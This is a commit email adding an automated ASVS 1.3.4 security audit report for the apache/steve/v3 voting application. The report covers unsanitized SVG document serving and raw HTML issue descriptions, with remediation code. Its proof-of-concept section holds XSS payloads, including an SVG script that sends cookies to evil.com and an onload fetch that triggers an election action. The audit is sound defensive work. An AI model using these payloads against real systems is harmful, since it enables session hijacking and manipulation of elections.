You are viewing a plain text version of this content. The canonical link for it is here.
Posted to commits@tooling.apache.org by as...@apache.org on 2026/05/05 20:55:59 UTC
(tooling-agents) branch main updated: ASVS audit: 1.3.4.md (redacted) [source: apache/steve/v3 @ d0aa7e9]
This is an automated email from the ASF dual-hosted git repository.
asf-tooling pushed a commit to branch main
in repository https://gitbox.apache.org/repos/asf/tooling-agents.git
The following commit(s) were added to refs/heads/main by this push:
new df8f830 ASVS audit: 1.3.4.md (redacted) [source: apache/steve/v3 @ d0aa7e9]
df8f830 is described below
commit df8f830bc9da638784b0a5a8edb81e4819accccd
Author: ASF Tooling Team <ro...@apache.org>
AuthorDate: Tue May 5 22:50:22 2026 +0200
ASVS audit: 1.3.4.md (redacted) [source: apache/steve/v3 @ d0aa7e9]
---
ASVS/reports/steve/v3/d0aa7e9/all/1.3.4.md | 174 +++++++++++++++++++++++++++++
1 file changed, 174 insertions(+)
diff --git a/ASVS/reports/steve/v3/d0aa7e9/all/1.3.4.md b/ASVS/reports/steve/v3/d0aa7e9/all/1.3.4.md
new file mode 100644
index 0000000..db68992
--- /dev/null
+++ b/ASVS/reports/steve/v3/d0aa7e9/all/1.3.4.md
@@ -0,0 +1,174 @@
+# Security Audit Report: ASVS 1.3.4
+
+## Executive Summary
+
+| Field | Value |
+|-------|-------|
+| **Repository** | apache/steve/v3 |
+| **Audit Date** | May 05, 2026 |
+| **Auditor** | Tooling Agents (bundled-pass mode) |
+| **ASVS Requirement** | ASVS 1.3.4 |
+| **Files Analyzed** | 5 relevant / 49 total |
+| **Files Skipped** | 12 |
+
+**Requirement description:** Verify that user-supplied Scalable Vector Graphics (SVG) scriptable content is validated or sanitized to contain only tags and attributes (such as draw graphics) that are safe for the application, e.g., do not contain scripts and foreignObject.
+
+### Findings Overview
+
+| Severity | Count |
+|----------|-------|
+| 🔴 Critical | 0 |
+| 🟠High | 0 |
+| 🟡 Medium | 2 |
+| 🟢 Low | 0 |
+
+---
+
+## ASVS-1.3.4: SVG Scriptable Content Sanitization
+
+### Findings for 1.3.4
+
+#### MEDIUM
+**Finding ID:** ASVS-134-MED-001
+**Location:** `v3/server/pages.py`, function `serve_doc`, line 574
+**Description:** The document serving endpoint can serve SVG files with their native MIME type without any content sanitization or script removal.
+
+```python
+@APP.get('/docs/<iid>/<docname>')
+@asfquart.auth.require # fine-grained per-doc authz within the handler
+async def serve_doc(iid, docname):
+ result = await basic_info()
+ db = steve.election.Election.open_database(DB_FNAME)
+ row = db.q_get_mayvote.first_row(result.uid, iid)
+ if not row:
+ quart.abort(404)
+ ### verify the propriety of DOCNAME.
+ return await quart.send_from_directory(DOCSDIR / iid, docname)
+```
+
+**Data flow:** Admin places SVG file in `DOCSDIR/<iid>/` → `serve_doc()` serves with `image/svg+xml` MIME type → browser executes embedded scripts within SVG context.
+
+**Proof of concept:** If a file `malicious.svg` exists in `DOCSDIR/<iid>/` containing:
+```xml
+<svg xmlns="http://www.w3.org/2000/svg">
+ <script>document.location='https://evil.com/?c='+document.cookie</script>
+ <foreignObject><body xmlns="http://www.w3.org/1999/xhtml"><script>alert(1)</script></body></foreignObject>
+</svg>
+```
+A voter accessing `/docs/<iid>/malicious.svg` would have scripts executed in the application's origin.
+
+**Impact:** If SVG documents can be uploaded or placed by election administrators, they could contain `<script>` or `<foreignObject>` elements that execute JavaScript in other voters' browser sessions, enabling session hijacking.
+
+**Remediation:**
+```python
+import mimetypes
+
+ALLOWED_DOC_EXTENSIONS = {'.pdf', '.txt', '.png', '.jpg', '.jpeg', '.gif'}
+
+@APP.get('/docs/<iid>/<docname>')
+@asfquart.auth.require
+async def serve_doc(iid, docname):
+ result = await basic_info()
+ db = steve.election.Election.open_database(DB_FNAME)
+ row = db.q_get_mayvote.first_row(result.uid, iid)
+ if not row:
+ quart.abort(404)
+
+ # Block SVG and other scriptable content types
+ ext = pathlib.Path(docname).suffix.lower()
+ if ext not in ALLOWED_DOC_EXTENSIONS:
+ quart.abort(403, 'File type not permitted')
+
+ response = await quart.send_from_directory(DOCSDIR / iid, docname)
+ response.headers['Content-Security-Policy'] = "script-src 'none'"
+ response.headers['X-Content-Type-Options'] = 'nosniff'
+ return response
+```
+
+---
+
+#### MEDIUM
+**Finding ID:** ASVS-134-MED-002
+**Location:** `v3/server/pages.py`, function `rewrite_description`, line 49; `v3/server/templates/manage.ezt`, line 226
+**Description:** User-supplied issue descriptions are rendered as raw HTML, allowing inline SVG with scriptable content to be injected by authenticated committers.
+
+```python
+def rewrite_description(issue):
+ desc = issue.description
+ def repl(match):
+ filename = match.group(1)
+ return f'<a href="/docs/{issue.iid}/{filename}">{filename}</a>'
+ desc = re.sub(r'doc:([^\s]+)', repl, desc)
+ issue.description = f'<pre>{desc}</pre>'
+```
+
+In `manage.ezt`:
+```html
+<div id="description-[issues.iid]" class="description mt-2">[issues.description]</div>
+```
+
+**Data flow:** Committer creates issue with SVG in description via `do_add_issue_endpoint` → stored in database → rendered without sanitization in `manage.ezt` or after `rewrite_description` in `vote-on.ezt` → SVG scripts execute in other users' browsers.
+
+**Proof of concept:** An authenticated committer creates an issue with description:
+```
+<svg onload="fetch('/do-open/'+document.querySelector('[data-eid]').dataset.eid)"><circle r="1"/></svg>
+```
+
+**Impact:** Inline SVG with script content in descriptions would execute in the context of other authenticated users viewing the election, enabling stored XSS attacks including unauthorized election manipulation.
+
+**Remediation:** Sanitize or encode all user-supplied content before HTML rendering (see ASVS 1.3.5 findings for detailed fix).
+
+### Security Controls Inventory for 1.3.4
+
+| Control | Location | Coverage Status |
+|---------|----------|-----------------|
+| `[format "js,html"]` EZT encoding | `manage.ezt` lines 219-229 | Applied ONLY in JavaScript string context for edit/delete modals |
+| Authorization check in `serve_doc` | `pages.py` line 567 | Applied (mayvote check) but no content-type filtering |
+| `### verify the propriety of DOCNAME` comment | `pages.py` line 572 | **Type B Gap**: Acknowledged need but NOT IMPLEMENTED |
+
+### Positive Patterns for 1.3.4
+
+- The `serve_doc` endpoint does enforce per-document authorization (mayvote check), preventing unauthorized access to documents.
+- `quart.send_from_directory` provides path traversal protection by default.
+
+---
+
+
+
+## Cross-cutting Architecture Observations
+
+1. **Output Encoding Inconsistency (Type B Gap Pattern):** The EZT templating system provides the `[format "js,html"]` encoding directive, and developers correctly apply it in JavaScript contexts. However, the same data (issue titles, descriptions, election titles) is rendered WITHOUT encoding in HTML body contexts. This represents a systematic Type B gap where the control exists but is not consistently applied.
+
+2. **No Input Sanitization Layer:** The application has no centralized input sanitization for user-supplied content. Issue titles, descriptions, and election titles flow directly from form input to database storage to template rendering without any intermediate sanitization step.
+
+3. **Defense-in-Depth Absence:** The application relies solely on authentication (`@asfquart.auth.require`) for security. There is no:
+ - Content Security Policy (CSP) headers
+ - Input sanitization middleware
+ - Output encoding applied by default
+ - CSRF token validation (acknowledged as placeholder)
+
+4. **Privileged User Attack Surface:** While all endpoints require authentication (committer or PMC member), the stored XSS vulnerabilities mean any compromised or malicious insider can attack all other users of the system. In an election/voting context, this is particularly severe as it could undermine election integrity.
+
+5. **Template Engine Choice:** EZT does not auto-escape by default (unlike Jinja2's `autoescape=True`). This architectural choice places the burden on developers to manually encode every output point, which has demonstrably led to gaps.
+
+---
+
+## Cross-cutting Recommendations
+
+### Immediate (address before next deployment)
+1. **Apply `[format "html"]` to ALL user-derived template variables** in HTML contexts — at minimum: `[issues.title]`, `[issues.description]`, `[e_title]`, `[flashes.message]`.
+2. **HTML-escape content in `rewrite_description()`** before wrapping in `<pre>` tags and before constructing `<a>` attributes.
+3. **Sanitize flash messages** — escape `form.title` and similar user input before interpolating into flash strings.
+
+### Short-term (within next sprint)
+4. **Implement a Content Security Policy** header (`script-src 'self'`) to mitigate XSS impact even if encoding is missed.
+5. **Add `X-Content-Type-Options: nosniff`** to document responses from `serve_doc()` to prevent MIME-type sniffing of uploaded files.
+6. **Restrict served document types** in `serve_doc()` to a whitelist of safe extensions (PDF, TXT, PNG, etc.), blocking SVG and HTML.
+7. **Implement input sanitization** for issue descriptions — either use a library like `bleach` to allow safe HTML subset, or store as plain text and render encoded.
+
+### Long-term (architectural improvements)
+8. **Migrate from EZT to a template engine with auto-escaping** (e.g., Jinja2 with `autoescape=True`). This eliminates the class of bugs where developers forget to encode.
+9. **Implement a centralized input validation/sanitization layer** as middleware that processes all form submissions before they reach handlers.
+10. **Implement real CSRF protection** — the placeholder token provides zero security and creates false confidence (Type B gap at the architecture level).
+11. **Add security-focused integration tests** that attempt XSS payloads through each input field and verify they are neutralized in rendered output.
+
\ No newline at end of file
---------------------------------------------------------------------
To unsubscribe, e-mail: commits-unsubscribe@tooling.apache.org
For additional commands, e-mail: commits-help@tooling.apache.org